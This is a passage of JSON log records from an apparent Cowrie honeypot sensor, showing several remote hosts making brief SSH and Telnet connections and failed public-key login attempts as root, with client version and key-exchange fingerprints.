6b:dd:b9:03:bc:88:f0:82:31:25:a1:ff:11:82:f0:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:15:34.927584Z","src_ip":"192.250.239.241","session":"e30a08f27519","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6b:dd:b9:03:bc:88:f0:82:31:25:a1:ff:11:82:f0:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCkancFDUnRnB8dSjxJioeTmt1jp+9AQJg32DJiqZhmYpmGYj9Hq4G5EU7Gjrg+NDXWLoLHEGGzKMri2N1FZYs6c/qxweL4YvqUF/5K+l7JfB2ImK1Cs68bym2w6zBu97i5PHDd9e8lRypUBQA1ZUKAdiNSglWinKGXiAc+v9lVIjKZD9Smcwi7U1CtCWHe4WWRon6/9QeK+h3EGmxJ4+LhjObkMscK5ncKTMjZxVTuaPbcfMAt/3Zwsta4VsT/ReccsCdQZmtAuxQVOwaZMZvHZIVnrCbRd8uiejVUWvWX6Ga1g2JunpZVUe9+Kyct75JWQzgZ1o7hctsQXlFKKnbYMKhk1art2nAMh8skS+HGuYyVr3cQxZcA12Gm9onRgo/rHxxjZFBw7OKj7IAS1WDDZY9qnlawkaUdKkQu9R9WqSiWsHQ4/gpkITJGgo9iyN9NFlV2LqRr3CtPapvpX0AfcigIczNAZDe1xhkvD8IrY+r/TXWZP50ku0E1tUoyl9bC9cYe1Y+QZ2LdvyXqKgR0MkCrAyPltv5AMZ4/zhpTvhOj1l9Hi8jzt9wyxLAGpAXC401eJTBVMpCjmiRskGBcduA9zHQHG8E3KiQFjIw23wHLC3S8LgGveoHFMVOZXYA9LIWUh1+7hjA7fNcuBhHE5jOnaM2grUYdW6Th5Ey3uQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:15:34.931366Z","src_ip":"192.250.239.241","session":"e30a08f27519","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e1:e9:f4:1f:d6:d3:c2:95:19:18:10:58:b8:e1:5c:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCncDpSE+kl20hexUKN1eqWAgyfkHJ/akI8Hs66T18JC/w/vNfHBiDL4GpFH2f3lFAv1JpJxzF0esDwfJ42zchddlcuU86dPzrBsZOQEWumpNUtoPM+J5ai8oeMGzZ6GDiTA2Te0YlWBNWZFiSvEvW2Afsr6abk6lkE+/PzQSkxw+yUNbDKP5DGqwtzG2cV/s9ISCwenj7gAFc2SFhx6Wj+xBxegX9b2IrL9Lme3XWv0O16PZYDoJ6H4GBbIdtaiGaxZk/oFNEgiCTrLaSI6IHjNc+mA4YFJlcaUhKdeoDGLttF0Ff6H64YmrKH3cAFn/EU12N0O9+DFDKWEPvuJ6M10NweDAYtKNZWocI3CGsxY0nLWUd07fFgk4LpOuqMMj3aJybnwZ+XVzUWzeAlTicK8VUiPPw2EKITHi80d16Y25gGG37HC6cCws417m0ug7j3kD0ZlUSjvwvBXmyeUfXPOG3ayAKk2PhDN6glbbtld3DYeq8QbuJOZyv/nTq3S7hLe+rP16VRPx6mFLct66xkPozKgml0CW5IkvXaaMyDUVuyyyzf1LA7aq15pnqzaFEBYKWndShARQbG9ZnlZ2w46DwvbRccmmwE6HYRz9QVcTMXcJPypnYmmijYptPhtjFF7V1YQVqJzc+gmwACTaC+wRgTbm6qyH5GquyolKMvOw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e1:e9:f4:1f:d6:d3:c2:95:19:18:10:58:b8:e1:5c:c2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:15:35.007579Z","src_ip":"192.250.239.241","session":"e30a08f27519","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e1:e9:f4:1f:d6:d3:c2:95:19:18:10:58:b8:e1:5c:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCncDpSE+kl20hexUKN1eqWAgyfkHJ/akI8Hs66T18JC/w/vNfHBiDL4GpFH2f3lFAv1JpJxzF0esDwfJ42zchddlcuU86dPzrBsZOQEWumpNUtoPM+J5ai8oeMGzZ6GDiTA2Te0YlWBNWZFiSvEvW2Afsr6abk6lkE+/PzQSkxw+yUNbDKP5DGqwtzG2cV/s9ISCwenj7gAFc2SFhx6Wj+xBxegX9b2IrL9Lme3XWv0O16PZYDoJ6H4GBbIdtaiGaxZk/oFNEgiCTrLaSI6IHjNc+mA4YFJlcaUhKdeoDGLttF0Ff6H64YmrKH3cAFn/EU12N0O9+DFDKWEPvuJ6M10NweDAYtKNZWocI3CGsxY0nLWUd07fFgk4LpOuqMMj3aJybnwZ+XVzUWzeAlTicK8VUiPPw2EKITHi80d16Y25gGG37HC6cCws417m0ug7j3kD0ZlUSjvwvBXmyeUfXPOG3ayAKk2PhDN6glbbtld3DYeq8QbuJOZyv/nTq3S7hLe+rP16VRPx6mFLct66xkPozKgml0CW5IkvXaaMyDUVuyyyzf1LA7aq15pnqzaFEBYKWndShARQbG9ZnlZ2w46DwvbRccmmwE6HYRz9QVcTMXcJPypnYmmijYptPhtjFF7V1YQVqJzc+gmwACTaC+wRgTbm6qyH5GquyolKMvOw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:15:35.010901Z","src_ip":"192.250.239.241","session":"e30a08f27519","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7a:f9:81:55:b7:19:3d:b4:df:87:97:89:9b:f8:a1:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDVIDdnrPbMEliM469l2JbIrnNV6LeRQ6SOzfAqkvZ0OlzotNHkCLND5K6uSNGTu8k7RwPxrwRv19P30EzII00B/b5vj3tiJsPeKOkNrgRLelcn8ekeaMTqD5p+3wDEb65EoGolY+fGdvtjGibnqjftaNe149Hf7dmy3qGAAnQoYlP9SG2wG491VTCssIOsYjSGirOPZtWvfIdXzU+fbnOXiGTV0WhfOBdsyU3YezMb0UDF4CYNpPPIgzsAGt1VaFdT+jRrTj9avijNwuftdQnwdxJP+XRxI5kC5v4LnkpK3T3g5p+lDYdAnah2mnwn8DdhDh4zI8nbHCgbeu3/RAxxlbIYWPgLLjf565M84X+JFqboyBnoPqofTIPTJDNiqHyeQJsM6+sx71TWQlSb4gEvXhevJZ6gX2LmA+uwG8KWPKVrZKLfKsgm405w5SQYlLNsN4u3RcuP53WuhaG6UmsCHlyRDOMdKCR9GjMVE76FGpoc7va3467Tt2M7I5941T2cxxHFZh4tgX/PklXh81+jBfUNDPEFb/jBvJh2lIYjXkt6fkQVXDYC8cWeOkM7icK/GLE3Z75DtonUYMMkrCkPliydwBIwKHdc/DLdvEh2k8xmxOBWjytbUSRZBqvOkQMPMefU3kco5Yi9ew48RU8DIE3eGGpgRpxBIXbAdRmhNw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7a:f9:81:55:b7:19:3d:b4:df:87:97:89:9b:f8:a1:78","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:15:35.086545Z","src_ip":"192.250.239.241","session":"e30a08f27519","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7a:f9:81:55:b7:19:3d:b4:df:87:97:89:9b:f8:a1:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDVIDdnrPbMEliM469l2JbIrnNV6LeRQ6SOzfAqkvZ0OlzotNHkCLND5K6uSNGTu8k7RwPxrwRv19P30EzII00B/b5vj3tiJsPeKOkNrgRLelcn8ekeaMTqD5p+3wDEb65EoGolY+fGdvtjGibnqjftaNe149Hf7dmy3qGAAnQoYlP9SG2wG491VTCssIOsYjSGirOPZtWvfIdXzU+fbnOXiGTV0WhfOBdsyU3YezMb0UDF4CYNpPPIgzsAGt1VaFdT+jRrTj9avijNwuftdQnwdxJP+XRxI5kC5v4LnkpK3T3g5p+lDYdAnah2mnwn8DdhDh4zI8nbHCgbeu3/RAxxlbIYWPgLLjf565M84X+JFqboyBnoPqofTIPTJDNiqHyeQJsM6+sx71TWQlSb4gEvXhevJZ6gX2LmA+uwG8KWPKVrZKLfKsgm405w5SQYlLNsN4u3RcuP53WuhaG6UmsCHlyRDOMdKCR9GjMVE76FGpoc7va3467Tt2M7I5941T2cxxHFZh4tgX/PklXh81+jBfUNDPEFb/jBvJh2lIYjXkt6fkQVXDYC8cWeOkM7icK/GLE3Z75DtonUYMMkrCkPliydwBIwKHdc/DLdvEh2k8xmxOBWjytbUSRZBqvOkQMPMefU3kco5Yi9ew48RU8DIE3eGGpgRpxBIXbAdRmhNw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:15:35.090722Z","src_ip":"192.250.239.241","session":"e30a08f27519","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:15:35.169843Z","src_ip":"192.250.239.241","session":"e30a08f27519","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.17","src_port":54048,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b1627f8df67","protocol":"ssh","message":"New connection: 154.16.115.17:54048 (10.17.0.5:22) [session: 3b1627f8df67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:15:47.145503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:15:47.150195Z","src_ip":"154.16.115.17","session":"3b1627f8df67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:15:47.177397Z","src_ip":"154.16.115.17","session":"3b1627f8df67","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2c:cb:c1:f4:8e:b2:1c:8f:b3:b2:14:cc:29:6f:19:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYBoQcucuvJ68jDL4fkPXaZg31WaIYOaiv5tNku8K88bXswrzk+shZfdhGV9BFmIp6cbsy9KgZQfQNDE6r7J57vmZ+6pKi0fiSeN5+Lk7bZUZud/epQwO86vSmHlU2OQB85vUtKZHzDot6CkMynOhaoPff9QWTsJG/dr5rYdyZ8H9q9g3D8dUJG7UO74ZzhqZIa7tRgeDLMJp+LPXihZvqcVTmQ/nIX3FjKIKquNkoKpqUhgbe0sOMUcfm1NFkhMNNJQ8KDphYB4uoN+OKewnCCgKLQ999LCIAq80rB6igpmGwEyhI6C+njvKRQPyQBSn10SKo8FzoJBHVN1g8icnr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2c:cb:c1:f4:8e:b2:1c:8f:b3:b2:14:cc:29:6f:19:19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:15:47.292107Z","src_ip":"154.16.115.17","session":"3b1627f8df67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2c:cb:c1:f4:8e:b2:1c:8f:b3:b2:14:cc:29:6f:19:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYBoQcucuvJ68jDL4fkPXaZg31WaIYOaiv5tNku8K88bXswrzk+shZfdhGV9BFmIp6cbsy9KgZQfQNDE6r7J57vmZ+6pKi0fiSeN5+Lk7bZUZud/epQwO86vSmHlU2OQB85vUtKZHzDot6CkMynOhaoPff9QWTsJG/dr5rYdyZ8H9q9g3D8dUJG7UO74ZzhqZIa7tRgeDLMJp+LPXihZvqcVTmQ/nIX3FjKIKquNkoKpqUhgbe0sOMUcfm1NFkhMNNJQ8KDphYB4uoN+OKewnCCgKLQ999LCIAq80rB6igpmGwEyhI6C+njvKRQPyQBSn10SKo8FzoJBHVN1g8icnr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:15:47.295703Z","src_ip":"154.16.115.17","session":"3b1627f8df67","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7e:de:7c:bb:80:cc:c8:cf:65:7d:73:d1:17:ba:76:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoR4fjQa1cpNGiywOK4OAmfyOHKwfF4MNV4756eq6wd4sNqmiYFtXNVKT18a5dhyFCUzoS3BSqqwXSZqSVMZhwMcCnrKU6aLAQIX6fnLwUDkIFZeOeiK/9bwkuLt1EuCgIs2L8LBCTEg3XmLJTmTn0z975YDFKqrYYLxQgTk4tPeRqF1MqIX1GahiN/XFRtN8Yvsv8ymmKFsTNOrEMizRgz1I2xV8tXfONsVGXXvoXLjNLlXUr9YoC44slKBaSj+SmTtOro/e8ZHTG0huMFRLHbg2Ygo6/VSrvL9SZcLjr4SsPghgfoAJyKtPPPZzgfbx3sAmXaHB+wJ1ZbcC+Qp3/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7e:de:7c:bb:80:cc:c8:cf:65:7d:73:d1:17:ba:76:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:15:47.324437Z","src_ip":"154.16.115.17","session":"3b1627f8df67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7e:de:7c:bb:80:cc:c8:cf:65:7d:73:d1:17:ba:76:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoR4fjQa1cpNGiywOK4OAmfyOHKwfF4MNV4756eq6wd4sNqmiYFtXNVKT18a5dhyFCUzoS3BSqqwXSZqSVMZhwMcCnrKU6aLAQIX6fnLwUDkIFZeOeiK/9bwkuLt1EuCgIs2L8LBCTEg3XmLJTmTn0z975YDFKqrYYLxQgTk4tPeRqF1MqIX1GahiN/XFRtN8Yvsv8ymmKFsTNOrEMizRgz1I2xV8tXfONsVGXXvoXLjNLlXUr9YoC44slKBaSj+SmTtOro/e8ZHTG0huMFRLHbg2Ygo6/VSrvL9SZcLjr4SsPghgfoAJyKtPPPZzgfbx3sAmXaHB+wJ1ZbcC+Qp3/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:15:47.328770Z","src_ip":"154.16.115.17","session":"3b1627f8df67","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"43:16:f1:67:fc:f9:61:bd:ac:37:a9:ba:2c:fd:07:07","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAlYeVqLBHlLtYdYmNpR60Z+QL3UDgaGnwIdGB2J9hgc","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 43:16:f1:67:fc:f9:61:bd:ac:37:a9:ba:2c:fd:07:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:15:47.358002Z","src_ip":"154.16.115.17","session":"3b1627f8df67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"43:16:f1:67:fc:f9:61:bd:ac:37:a9:ba:2c:fd:07:07","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAlYeVqLBHlLtYdYmNpR60Z+QL3UDgaGnwIdGB2J9hgc","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:15:47.362120Z","src_ip":"154.16.115.17","session":"3b1627f8df67","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"78:e7:be:0e:1f:a8:7a:ad:aa:95:fd:29:0d:2b:47:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDWCaQ2k8gNTI4gokCwLJ9c1Hym9zDXfc9/9DxqbdZe9ZHDAhdMSqNcMV54ZJchtkgVSUuG4J1WY5qeVMrjeT55qYwJ6TMMYAAaFYY/WPbB6NYR1jnBH1qcnEMiWUVYmNY5CfMXhv9wcf8zFMtD9Vj/gUb/dmtUGlsrzA+DiFP6chy2w2z7FyPEL1eMrFWDLYSsrD21FZaH7urcdOe8ZJtsZnx6/E0lwCzF+7vL0Dfa8WQrlTn4wt4rD88rN1xxSk1ukrK96+22w/hduYM5N4sV/IXc/0gzZVBJ6/RPi4WyKn6CF5nm9fbWNTYjAp9clnmdUdO+yZdeCBKJkzUOILABN8hhw/HLOcX9bzsoYvX+1+m2diVgKFaN7Qq+HkmvtdMbmp+ri1zD8MH7EkclyRLvzEqs9D7C8RV2TY55GePK1F72G7HEjJcIgRhDWbeVZ3Ygiu3/l1Iabe9byt7c3kCcmVdFZ5HawE0inXGjudVKigY+UHl2GmHKjyO6DoQv+QVNqd7cc7alzubchZ+g07Fm2uXV4pxXuHZgojX6uZYdWLp85ykxShDBNVJwT+5yJ5dzL5SIuJvex2Jwt59LTqviJoIlFpLdT7BEtSEF1hWeG4zUhodp5ceuUdqno69ucqqtGvTlPSEQCpX5Guu1RNgd0p/Gcmg2lFKt0riw5vun1Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 78:e7:be:0e:1f:a8:7a:ad:aa:95:fd:29:0d:2b:47:80","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:15:47.390120Z","src_ip":"154.16.115.17","session":"3b1627f8df67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"78:e7:be:0e:1f:a8:7a:ad:aa:95:fd:29:0d:2b:47:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDWCaQ2k8gNTI4gokCwLJ9c1Hym9zDXfc9/9DxqbdZe9ZHDAhdMSqNcMV54ZJchtkgVSUuG4J1WY5qeVMrjeT55qYwJ6TMMYAAaFYY/WPbB6NYR1jnBH1qcnEMiWUVYmNY5CfMXhv9wcf8zFMtD9Vj/gUb/dmtUGlsrzA+DiFP6chy2w2z7FyPEL1eMrFWDLYSsrD21FZaH7urcdOe8ZJtsZnx6/E0lwCzF+7vL0Dfa8WQrlTn4wt4rD88rN1xxSk1ukrK96+22w/hduYM5N4sV/IXc/0gzZVBJ6/RPi4WyKn6CF5nm9fbWNTYjAp9clnmdUdO+yZdeCBKJkzUOILABN8hhw/HLOcX9bzsoYvX+1+m2diVgKFaN7Qq+HkmvtdMbmp+ri1zD8MH7EkclyRLvzEqs9D7C8RV2TY55GePK1F72G7HEjJcIgRhDWbeVZ3Ygiu3/l1Iabe9byt7c3kCcmVdFZ5HawE0inXGjudVKigY+UHl2GmHKjyO6DoQv+QVNqd7cc7alzubchZ+g07Fm2uXV4pxXuHZgojX6uZYdWLp85ykxShDBNVJwT+5yJ5dzL5SIuJvex2Jwt59LTqviJoIlFpLdT7BEtSEF1hWeG4zUhodp5ceuUdqno69ucqqtGvTlPSEQCpX5Guu1RNgd0p/Gcmg2lFKt0riw5vun1Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:15:47.394297Z","src_ip":"154.16.115.17","session":"3b1627f8df67","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c8:30:39:13:ea:be:77:98:c2:31:91:97:b1:34:c7:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/cccesjuNGkVv9IGHDo3IkjOWKPi0P7g1sBoA39lIXCxv0It/B0abr35TabsHVeRSqy+LZdUNcV5uEEP+UVo1eSZ3ce6qISs6YjeAL0Sc0yNQmu1CLaNlRHMIz+ekhQssQB7ryr1YALYBKwTKHtlS6h2ocaZnhuQd0+Zise8JmDF6WaSTFk+Sv08GmrOLHCkKVwR9WpL1LH8R2eA9dMG5KzXtcYM920RRP70RKtjMPf7oM9ey4PUZTvtoomgkQRnV6utaZMSJ+PD68I6xhs9LlgoA70/4hZNjSZRnyHd0lbj+UvmTgcUOLVBBIaIccnfwRzuFC5hMz2aqXfFnd8A5SXBTPG42in9E7ln6Yrq4PD3oMnFUNT2g4Bh6jNyiAqEFpK34ZHu+s0heZHnqSyzaHFMOIDpMgOySDulRG5JI9BNRhRkNCTDd6cTsV3rwGB+tpOLl+S98f/Vbm5ExIBIbTfxhB8xva5t7WADTqONcDjo7+OiQu9a1JbnfWrGObaW/+bkKXiPs27hM7ySZDZA0/kmBrr9aZF/IPE0hNTe8qOhptn/hE4DMKFB9f0ybJgjVa7CRHr1tf/RONub6+Kiiw9Kmz5m6Nmj4+nW+2yXqE21qk6je76OuTq40aVHkeKoIs9NorsyL//SaP3qwsTfO0dYbzT+HGJBWREAOu063nw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c8:30:39:13:ea:be:77:98:c2:31:91:97:b1:34:c7:76","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:15:47.422316Z","src_ip":"154.16.115.17","session":"3b1627f8df67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c8:30:39:13:ea:be:77:98:c2:31:91:97:b1:34:c7:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/cccesjuNGkVv9IGHDo3IkjOWKPi0P7g1sBoA39lIXCxv0It/B0abr35TabsHVeRSqy+LZdUNcV5uEEP+UVo1eSZ3ce6qISs6YjeAL0Sc0yNQmu1CLaNlRHMIz+ekhQssQB7ryr1YALYBKwTKHtlS6h2ocaZnhuQd0+Zise8JmDF6WaSTFk+Sv08GmrOLHCkKVwR9WpL1LH8R2eA9dMG5KzXtcYM920RRP70RKtjMPf7oM9ey4PUZTvtoomgkQRnV6utaZMSJ+PD68I6xhs9LlgoA70/4hZNjSZRnyHd0lbj+UvmTgcUOLVBBIaIccnfwRzuFC5hMz2aqXfFnd8A5SXBTPG42in9E7ln6Yrq4PD3oMnFUNT2g4Bh6jNyiAqEFpK34ZHu+s0heZHnqSyzaHFMOIDpMgOySDulRG5JI9BNRhRkNCTDd6cTsV3rwGB+tpOLl+S98f/Vbm5ExIBIbTfxhB8xva5t7WADTqONcDjo7+OiQu9a1JbnfWrGObaW/+bkKXiPs27hM7ySZDZA0/kmBrr9aZF/IPE0hNTe8qOhptn/hE4DMKFB9f0ybJgjVa7CRHr1tf/RONub6+Kiiw9Kmz5m6Nmj4+nW+2yXqE21qk6je76OuTq40aVHkeKoIs9NorsyL//SaP3qwsTfO0dYbzT+HGJBWREAOu063nw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:15:47.426185Z","src_ip":"154.16.115.17","session":"3b1627f8df67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:15:47.454329Z","src_ip":"154.16.115.17","session":"3b1627f8df67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01487588882446,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:16:01.462455Z","src_ip":"180.235.129.180","session":"40564f03e85b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.117.199.5","src_port":11986,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5d3023dd7bf","protocol":"ssh","message":"New connection: 154.117.199.5:11986 (10.17.0.5:22) [session: b5d3023dd7bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:16:03.870918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh-0.2","message":"Remote SSH version: SSH-2.0-libssh-0.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:16:04.105185Z","src_ip":"154.117.199.5","session":"b5d3023dd7bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:16:04.338755Z","src_ip":"154.117.199.5","session":"b5d3023dd7bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":37814,"dst_ip":"10.17.0.5","dst_port":23,"session":"062e1bd668c7","protocol":"telnet","message":"New connection: 180.235.129.180:37814 (10.17.0.5:23) [session: 062e1bd668c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:16:09.141327Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":37816,"dst_ip":"10.17.0.5","dst_port":23,"session":"8502a5bdc5e3","protocol":"telnet","message":"New connection: 180.235.129.180:37816 (10.17.0.5:23) [session: 8502a5bdc5e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:16:11.134134Z"}
{"eventid":"cowrie.session.closed","duration":5.875996351242065,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:16:17.010014Z","src_ip":"180.235.129.180","session":"8502a5bdc5e3","protocol":"telnet"}
